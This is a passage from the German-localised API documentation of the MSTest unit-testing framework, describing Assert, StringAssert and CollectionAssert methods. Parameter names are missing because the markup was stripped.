CultureInfo-Objekt, das kulturspezifische Vergleichsinformationen bereitstellt. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob das angegebene Objekt eine Instanz des erwarteten - Typs ist, und löst eine Ausnahme aus, wenn sich der erwartete Typ nicht in der - Vererbungshierarchie des Objekts befindet. - - - Das Objekt, von dem der Test erwartet, dass es vom angegebenen Typ ist. - - - Der erwartete Typ von . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testet, ob das angegebene Objekt eine Instanz des erwarteten - Typs ist, und löst eine Ausnahme aus, wenn sich der erwartete Typ nicht in der - Vererbungshierarchie des Objekts befindet. - - - Das Objekt, von dem der Test erwartet, dass es vom angegebenen Typ ist. - - - Der erwartete Typ von . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist keine Instanz von . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testet, ob das angegebene Objekt eine Instanz des erwarteten - Typs ist, und löst eine Ausnahme aus, wenn sich der erwartete Typ nicht in der - Vererbungshierarchie des Objekts befindet. - - - Das Objekt, von dem der Test erwartet, dass es vom angegebenen Typ ist. - - - Der erwartete Typ von . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist keine Instanz von . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testet, ob das angegebene Objekt keine Instanz des falschen - Typs ist, und löst eine Ausnahme aus, wenn sich der angegebene Typ in der - Vererbungshierarchie des Objekts befindet. - - - Das Objekt, von dem der Test erwartet, dass es nicht vom angegebenen Typ ist. - - - Der Typ, der unzulässig ist. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testet, ob das angegebene Objekt keine Instanz des falschen - Typs ist, und löst eine Ausnahme aus, wenn sich der angegebene Typ in der - Vererbungshierarchie des Objekts befindet. - - - Das Objekt, von dem der Test erwartet, dass es nicht vom angegebenen Typ ist. - - - Der Typ, der unzulässig ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist keine Instanz von . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testet, ob das angegebene Objekt keine Instanz des falschen - Typs ist, und löst eine Ausnahme aus, wenn sich der angegebene Typ in der - Vererbungshierarchie des Objekts befindet. - - - Das Objekt, von dem der Test erwartet, dass es nicht vom angegebenen Typ ist. - - - Der Typ, der unzulässig ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist keine Instanz von . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Löst eine AssertFailedException aus. - - - Always thrown. - - - - - Löst eine AssertFailedException aus. - - - Die in die Ausnahme einzuschließende Meldung. Die Meldung wird in - den Testergebnissen angezeigt. - - - Always thrown. - - - - - Löst eine AssertFailedException aus. - - - Die in die Ausnahme einzuschließende Meldung. Die Meldung wird in - den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Always thrown. - - - - - Löst eine AssertInconclusiveException aus. - - - Always thrown. - - - - - Löst eine AssertInconclusiveException aus. - - - Die in die Ausnahme einzuschließende Meldung. Die Meldung wird in - den Testergebnissen angezeigt. - - - Always thrown. - - - - - Löst eine AssertInconclusiveException aus. - - - Die in die Ausnahme einzuschließende Meldung. Die Meldung wird in - den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Always thrown. - - - - - Statische equals-Überladungen werden zum Vergleichen von Instanzen zweier Typen für - Verweisgleichheit verwendet. Diese Methode sollte nicht zum Vergleichen von zwei Instanzen auf - Gleichheit verwendet werden. Dieses Objekt löst immer einen Assert.Fail aus. Verwenden Sie - Assert.AreEqual und zugehörige Überladungen in Ihren Komponententests. - - Objekt A - Objekt B - Immer FALSE. - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Der Typ der Ausnahme, die ausgelöst werden soll. - - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Die in die Ausnahme einzuschließende Meldung, wenn - löst keine Ausnahme aus vom Typ . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Der Typ der Ausnahme, die ausgelöst werden soll. - - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Der Typ der Ausnahme, die ausgelöst werden soll. - - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Die in die Ausnahme einzuschließende Meldung, wenn - löst keine Ausnahme aus vom Typ . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Der Typ der Ausnahme, die ausgelöst werden soll. - - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Die in die Ausnahme einzuschließende Meldung, wenn - löst keine Ausnahme aus vom Typ . - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Der Typ der Ausnahme, die ausgelöst werden soll. - - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Die in die Ausnahme einzuschließende Meldung, wenn - löst keine Ausnahme aus vom Typ . - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Der Typ der Ausnahme, die ausgelöst werden soll. - - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Der der Delegat ausgeführt wird. - - - - - Testet, ob der von Delegat angegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und AssertFailedException auslöst, wenn der Code keine Ausnahme auslöst oder einen anderen Typ als auslöst. - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - Die in die Ausnahme einzuschließende Meldung, wenn - löst keine Ausnahme aus vom Typ . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Der der Delegat ausgeführt wird. - - - - - Testet, ob der von Delegat angegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und AssertFailedException auslöst, wenn der Code keine Ausnahme auslöst oder einen anderen Typ als auslöst. - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - Die in die Ausnahme einzuschließende Meldung, wenn - löst keine Ausnahme aus vom Typ . - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Der der Delegat ausgeführt wird. - - - - - Ersetzt Nullzeichen ("\0") durch "\\0". - - - Die Zeichenfolge, nach der gesucht werden soll. - - - Die konvertierte Zeichenfolge, in der Nullzeichen durch "\\0" ersetzt wurden. - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Eine Hilfsfunktion, die eine AssertionFailedException erstellt und auslöst. - - - Der Name der Assertion, die eine Ausnahme auslöst. - - - Eine Meldung, die Bedingungen für den Assertionfehler beschreibt. - - - Die Parameter. - - - - - Überprüft den Parameter auf gültige Bedingungen. - - - Der Parameter. - - - Der Name der Assertion. - - - Parametername - - - Meldung für die ungültige Parameterausnahme. - - - Die Parameter. - - - - - Konvertiert ein Objekt sicher in eine Zeichenfolge und verarbeitet dabei NULL-Werte und Nullzeichen. - NULL-Werte werden in "(null)" konvertiert. Nullzeichen werden in "\\0" konvertiert". - - - Das Objekt, das in eine Zeichenfolge konvertiert werden soll. - - - Die konvertierte Zeichenfolge. - - - - - Die Zeichenfolgenassertion. - - - - - Ruft die Singleton-Instanz der CollectionAssert-Funktionalität ab. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testet, ob die angegebene Zeichenfolge die angegebene Teilzeichenfolge - enthält, und löst eine Ausnahme aus, wenn die Teilzeichenfolge nicht in der - Testzeichenfolge vorkommt. - - - Die Zeichenfolge, von der erwartet wird, dass sie Folgendes enthält: . - - - Die Zeichenfolge, die erwartet wird in . - - - Thrown if is not found in - . - - - - - Testet, ob die angegebene Zeichenfolge die angegebene Teilzeichenfolge - enthält, und löst eine Ausnahme aus, wenn die Teilzeichenfolge nicht in der - Testzeichenfolge vorkommt. - - - Die Zeichenfolge, von der erwartet wird, dass sie Folgendes enthält: . - - - Die Zeichenfolge, die erwartet wird in . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht in . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not found in - . - - - - - Testet, ob die angegebene Zeichenfolge die angegebene Teilzeichenfolge - enthält, und löst eine Ausnahme aus, wenn die Teilzeichenfolge nicht in der - Testzeichenfolge vorkommt. - - - Die Zeichenfolge, von der erwartet wird, dass sie Folgendes enthält: . - - - Die Zeichenfolge, die erwartet wird in . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht in . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not found in - . - - - - - Testet, ob die angegebene Zeichenfolge mit der angegebenen Teilzeichenfolge - beginnt, und löst eine Ausnahme aus, wenn die Testzeichenfolge nicht mit der - Teilzeichenfolge beginnt. - - - Die Zeichenfolge, von der erwartet wird, dass sie beginnt mit . - - - Die Zeichenfolge, von der erwartet wird, dass sie ein Präfix ist von . - - - Thrown if does not begin with - . - - - - - Testet, ob die angegebene Zeichenfolge mit der angegebenen Teilzeichenfolge - beginnt, und löst eine Ausnahme aus, wenn die Testzeichenfolge nicht mit der - Teilzeichenfolge beginnt. - - - Die Zeichenfolge, von der erwartet wird, dass sie beginnt mit . - - - Die Zeichenfolge, von der erwartet wird, dass sie ein Präfix ist von . - - - Die in die Ausnahme einzuschließende Meldung, wenn - beginnt nicht mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if does not begin with - . - - - - - Testet, ob die angegebene Zeichenfolge mit der angegebenen Teilzeichenfolge - beginnt, und löst eine Ausnahme aus, wenn die Testzeichenfolge nicht mit der - Teilzeichenfolge beginnt. - - - Die Zeichenfolge, von der erwartet wird, dass sie beginnt mit . - - - Die Zeichenfolge, von der erwartet wird, dass sie ein Präfix ist von . - - - Die in die Ausnahme einzuschließende Meldung, wenn - beginnt nicht mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if does not begin with - . - - - - - Testet, ob die angegebene Zeichenfolge mit der angegebenen Teilzeichenfolge - endet, und löst eine Ausnahme aus, wenn die Testzeichenfolge nicht mit der - Teilzeichenfolge endet. - - - Die Zeichenfolge, von der erwartet wird, dass sie endet mit . - - - Die Zeichenfolge, von der erwartet wird, dass sie ein Suffix ist von . - - - Thrown if does not end with - . - - - - - Testet, ob die angegebene Zeichenfolge mit der angegebenen Teilzeichenfolge - endet, und löst eine Ausnahme aus, wenn die Testzeichenfolge nicht mit der - Teilzeichenfolge endet. - - - Die Zeichenfolge, von der erwartet wird, dass sie endet mit . - - - Die Zeichenfolge, von der erwartet wird, dass sie ein Suffix ist von . - - - Die in die Ausnahme einzuschließende Meldung, wenn - endet nicht mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if does not end with - . - - - - - Testet, ob die angegebene Zeichenfolge mit der angegebenen Teilzeichenfolge - endet, und löst eine Ausnahme aus, wenn die Testzeichenfolge nicht mit der - Teilzeichenfolge endet. - - - Die Zeichenfolge, von der erwartet wird, dass sie endet mit . - - - Die Zeichenfolge, von der erwartet wird, dass sie ein Suffix ist von . - - - Die in die Ausnahme einzuschließende Meldung, wenn - endet nicht mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if does not end with - . - - - - - Testet, ob die angegebene Zeichenfolge mit einem regulären Ausdruck übereinstimmt, und - löst eine Ausnahme aus, wenn die Zeichenfolge nicht mit dem Ausdruck übereinstimmt. - - - Die Zeichenfolge, von der erwartet wird, dass sie übereinstimmt mit . - - - Der reguläre Ausdruck, mit dem eine - Übereinstimmung erwartet wird. - - - Thrown if does not match - . - - - - - Testet, ob die angegebene Zeichenfolge mit einem regulären Ausdruck übereinstimmt, und - löst eine Ausnahme aus, wenn die Zeichenfolge nicht mit dem Ausdruck übereinstimmt. - - - Die Zeichenfolge, von der erwartet wird, dass sie übereinstimmt mit . - - - Der reguläre Ausdruck, mit dem eine - Übereinstimmung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - keine Übereinstimmung vorliegt. . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if does not match - . - - - - - Testet, ob die angegebene Zeichenfolge mit einem regulären Ausdruck übereinstimmt, und - löst eine Ausnahme aus, wenn die Zeichenfolge nicht mit dem Ausdruck übereinstimmt. - - - Die Zeichenfolge, von der erwartet wird, dass sie übereinstimmt mit . - - - Der reguläre Ausdruck, mit dem eine - Übereinstimmung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - keine Übereinstimmung vorliegt. . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if does not match - . - - - - - Testet, ob die angegebene Zeichenfolge nicht mit einem regulären Ausdruck übereinstimmt, und - löst eine Ausnahme aus, wenn die Zeichenfolge mit dem Ausdruck übereinstimmt. - - - Die Zeichenfolge, von der erwartet wird, dass sie nicht übereinstimmt mit . - - - Der reguläre Ausdruck, mit dem keine - Übereinstimmung erwartet wird. - - - Thrown if matches . - - - - - Testet, ob die angegebene Zeichenfolge nicht mit einem regulären Ausdruck übereinstimmt, und - löst eine Ausnahme aus, wenn die Zeichenfolge mit dem Ausdruck übereinstimmt. - - - Die Zeichenfolge, von der erwartet wird, dass sie nicht übereinstimmt mit . - - - Der reguläre Ausdruck, mit dem keine - Übereinstimmung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - Übereinstimmungen . Die Meldung wird in den Testergebnissen - angezeigt. - - - Thrown if matches . - - - - - Testet, ob die angegebene Zeichenfolge nicht mit einem regulären Ausdruck übereinstimmt, und - löst eine Ausnahme aus, wenn die Zeichenfolge mit dem Ausdruck übereinstimmt. - - - Die Zeichenfolge, von der erwartet wird, dass sie nicht übereinstimmt mit . - - - Der reguläre Ausdruck, mit dem keine - Übereinstimmung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - Übereinstimmungen . Die Meldung wird in den Testergebnissen - angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if matches . - - - - - Eine Sammlung von Hilfsklassen zum Testen verschiedener Bedingungen, die - Sammlungen in Komponententests zugeordnet sind. Wenn die getestete Bedingung nicht - erfüllt wird, wird eine Ausnahme ausgelöst. - - - - - Ruft die Singleton-Instanz der CollectionAssert-Funktionalität ab. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testet, ob die angegebene Sammlung das angegebene Element enthält, - und löst eine Ausnahme aus, wenn das Element nicht in der Sammlung enthalten ist. - - - Die Sammlung, in der nach dem Element gesucht werden soll. - - - Das Element, dessen Vorhandensein in der Sammlung erwartet wird. - - - Thrown if is not found in - . - - - - - Testet, ob die angegebene Sammlung das angegebene Element enthält, - und löst eine Ausnahme aus, wenn das Element nicht in der Sammlung enthalten ist. - - - Die Sammlung, in der nach dem Element gesucht werden soll. - - - Das Element, dessen Vorhandensein in der Sammlung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht in . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not found in - . - - - - - Testet, ob die angegebene Sammlung das angegebene Element enthält, - und löst eine Ausnahme aus, wenn das Element nicht in der Sammlung enthalten ist. - - - Die Sammlung, in der nach dem Element gesucht werden soll. - - - Das Element, dessen Vorhandensein in der Sammlung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht in . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not found in - . - - - - - Testet, ob die angegebene Sammlung das angegebene Element nicht enthält, - und löst eine Ausnahme aus, wenn das Element in der Sammlung enthalten ist. - - - Die Sammlung, in der nach dem Element gesucht werden soll. - - - Das Element, dessen Vorhandensein nicht in der Sammlung erwartet wird. - - - Thrown if is found in - . - - - - - Testet, ob die angegebene Sammlung das angegebene Element nicht enthält, - und löst eine Ausnahme aus, wenn das Element in der Sammlung enthalten ist. - - - Die Sammlung, in der nach dem Element gesucht werden soll. - - - Das Element, dessen Vorhandensein nicht in der Sammlung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist in . Die Meldung wird in den Testergebnissen - angezeigt. - - - Thrown if is found in - . - - - - - Testet, ob die angegebene Sammlung das angegebene Element nicht enthält, - und löst eine Ausnahme aus, wenn das Element in der Sammlung enthalten ist. - - - Die Sammlung, in der nach dem Element gesucht werden soll. - - - Das Element, dessen Vorhandensein nicht in der Sammlung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist in . Die Meldung wird in den Testergebnissen - angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is found in - . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung ungleich null sind, und löst - eine Ausnahme aus, wenn eines der Elemente NULL ist. - - - Die Sammlung, in der nach den Nullelementen gesucht werden soll. - - - Thrown if a null element is found in . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung ungleich null sind, und löst - eine Ausnahme aus, wenn eines der Elemente NULL ist. - - - Die Sammlung, in der nach den Nullelementen gesucht werden soll. - - - Die in die Ausnahme einzuschließende Meldung, wenn - enthält ein Nullelement. Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if a null element is found in . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung ungleich null sind, und löst - eine Ausnahme aus, wenn eines der Elemente NULL ist. - - - Die Sammlung, in der nach den Nullelementen gesucht werden soll. - - - Die in die Ausnahme einzuschließende Meldung, wenn - enthält ein Nullelement. Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if a null element is found in . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung eindeutig sind, und - löst eine Ausnahme aus, wenn zwei Elemente in der Sammlung gleich sind. - - - Die Sammlung, in der nach Elementduplikaten gesucht werden soll. - - - Thrown if a two or more equal elements are found in - . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung eindeutig sind, und - löst eine Ausnahme aus, wenn zwei Elemente in der Sammlung gleich sind. - - - Die Sammlung, in der nach Elementduplikaten gesucht werden soll. - - - Die in die Ausnahme einzuschließende Meldung, wenn - enthält mindestens ein Elementduplikat. Die Meldung wird in - den Testergebnissen angezeigt. - - - Thrown if a two or more equal elements are found in - . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung eindeutig sind, und - löst eine Ausnahme aus, wenn zwei Elemente in der Sammlung gleich sind. - - - Die Sammlung, in der nach Elementduplikaten gesucht werden soll. - - - Die in die Ausnahme einzuschließende Meldung, wenn - enthält mindestens ein Elementduplikat. Die Meldung wird in - den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if a two or more equal elements are found in - . - - - - - Testet, ob eine Sammlung eine Untermenge einer anderen Sammlung ist, und - löst eine Ausnahme aus, wenn ein beliebiges Element in der Untermenge nicht auch in der - Obermenge enthalten ist. - - - Die Sammlung, von der erwartet wird, dass sie eine Untermenge ist von . - - - Die Sammlung, von der erwartet wird, dass sie eine Obermenge ist von - - - Thrown if an element in is not found in - . - - - - - Testet, ob eine Sammlung eine Untermenge einer anderen Sammlung ist, und - löst eine Ausnahme aus, wenn ein beliebiges Element in der Untermenge nicht auch in der - Obermenge enthalten ist. - - - Die Sammlung, von der erwartet wird, dass sie eine Untermenge ist von . - - - Die Sammlung, von der erwartet wird, dass sie eine Obermenge ist von - - - Die in die Ausnahme einzuschließende Meldung, wenn ein Element in - wurde nicht gefunden in . - Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if an element in is not found in - . - - - - - Testet, ob eine Sammlung eine Untermenge einer anderen Sammlung ist, und - löst eine Ausnahme aus, wenn ein beliebiges Element in der Untermenge nicht auch in der - Obermenge enthalten ist. - - - Die Sammlung, von der erwartet wird, dass sie eine Untermenge ist von . - - - Die Sammlung, von der erwartet wird, dass sie eine Obermenge ist von - - - Die in die Ausnahme einzuschließende Meldung, wenn ein Element in - wurde nicht gefunden in . - Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if an element in is not found in - . - - - - - Testet, ob eine Sammlung eine Untermenge einer anderen Sammlung ist, und - löst eine Ausnahme aus, wenn alle Elemente in der Untermenge auch in der - Obermenge enthalten sind. - - - Die Sammlung, von der erwartet wird, dass sie keine Untermenge ist von . - - - Die Sammlung, von der erwartet wird, dass sie keine Obermenge ist von - - - Thrown if every element in is also found in - . - - - - - Testet, ob eine Sammlung eine Untermenge einer anderen Sammlung ist, und - löst eine Ausnahme aus, wenn alle Elemente in der Untermenge auch in der - Obermenge enthalten sind. - - - Die Sammlung, von der erwartet wird, dass sie keine Untermenge ist von . - - - Die Sammlung, von der erwartet wird, dass sie keine Obermenge ist von - - - Die in die Ausnahme einzuschließende Meldung, wenn jedes Element in - auch gefunden wird in . - Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if every element in is also found in - . - - - - - Testet, ob eine Sammlung eine Untermenge einer anderen Sammlung ist, und - löst eine Ausnahme aus, wenn alle Elemente in der Untermenge auch in der - Obermenge enthalten sind. - - - Die Sammlung, von der erwartet wird, dass sie keine Untermenge ist von . - - - Die Sammlung, von der erwartet wird, dass sie keine Obermenge ist von - - - Die in die Ausnahme einzuschließende Meldung, wenn jedes Element in - auch gefunden wird in . - Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if every element in is also found in - . - - - - - Testet, ob zwei Sammlungen die gleichen Elemente enthalten, und löst eine - Ausnahme aus, wenn eine der Sammlungen ein Element enthält, das in der anderen - Sammlung nicht enthalten ist. - - - Die erste zu vergleichende Sammlung. Enthält die Elemente, die der Test - erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testet, ob zwei Sammlungen die gleichen Elemente enthalten, und löst eine - Ausnahme aus, wenn eine der Sammlungen ein Element enthält, das in der anderen - Sammlung nicht enthalten ist. - - - Die erste zu vergleichende Sammlung. Enthält die Elemente, die der Test - erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn ein Element in einer - der Sammlungen gefunden wurde, aber nicht in der anderen. Die Meldung wird in - den Testergebnissen angezeigt. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testet, ob zwei Sammlungen die gleichen Elemente enthalten, und löst eine - Ausnahme aus, wenn eine der Sammlungen ein Element enthält, das in der anderen - Sammlung nicht enthalten ist. - - - Die erste zu vergleichende Sammlung. Enthält die Elemente, die der Test - erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn ein Element in einer - der Sammlungen gefunden wurde, aber nicht in der anderen. Die Meldung wird in - den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testet, ob zwei Sammlungen verschiedene Elemente enthalten, und löst eine - Ausnahme aus, wenn die beiden Sammlungen identische Elemente enthalten (ohne Berücksichtigung - der Reihenfolge). - - - Die erste zu vergleichende Sammlung. Enthält die Elemente, von denen der Test erwartet, - dass sie sich von der tatsächlichen Sammlung unterscheiden. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testet, ob zwei Sammlungen verschiedene Elemente enthalten, und löst eine - Ausnahme aus, wenn die beiden Sammlungen identische Elemente enthalten (ohne Berücksichtigung - der Reihenfolge). - - - Die erste zu vergleichende Sammlung. Enthält die Elemente, von denen der Test erwartet, - dass sie sich von der tatsächlichen Sammlung unterscheiden. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - enthält die gleichen Elemente wie . Die Meldung - wird in den Testergebnissen angezeigt. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testet, ob zwei Sammlungen verschiedene Elemente enthalten, und löst eine - Ausnahme aus, wenn die beiden Sammlungen identische Elemente enthalten (ohne Berücksichtigung - der Reihenfolge). - - - Die erste zu vergleichende Sammlung. Enthält die Elemente, von denen der Test erwartet, - dass sie sich von der tatsächlichen Sammlung unterscheiden. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - enthält die gleichen Elemente wie . Die Meldung - wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testet, ob alle Elemente in der angegebenen Sammlung Instanzen - des erwarteten Typs sind, und löst eine Ausnahme aus, wenn der erwartete Typ sich - nicht in der Vererbungshierarchie mindestens eines Elements befindet. - - - Die Sammlung, die Elemente enthält, von denen der Test erwartet, dass sie - vom angegebenen Typ sind. - - - Der erwartete Typ jedes Elements von . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung Instanzen - des erwarteten Typs sind, und löst eine Ausnahme aus, wenn der erwartete Typ sich - nicht in der Vererbungshierarchie mindestens eines Elements befindet. - - - Die Sammlung, die Elemente enthält, von denen der Test erwartet, dass sie - vom angegebenen Typ sind. - - - Der erwartete Typ jedes Elements von . - - - Die in die Ausnahme einzuschließende Meldung, wenn ein Element in - ist keine Instanz von - . Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung Instanzen - des erwarteten Typs sind, und löst eine Ausnahme aus, wenn der erwartete Typ sich - nicht in der Vererbungshierarchie mindestens eines Elements befindet. - - - Die Sammlung, die Elemente enthält, von denen der Test erwartet, dass sie - vom angegebenen Typ sind. - - - Der erwartete Typ jedes Elements von . - - - Die in die Ausnahme einzuschließende Meldung, wenn ein Element in - ist keine Instanz von - . Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testet, ob die angegebenen Sammlungen gleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen ungleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und 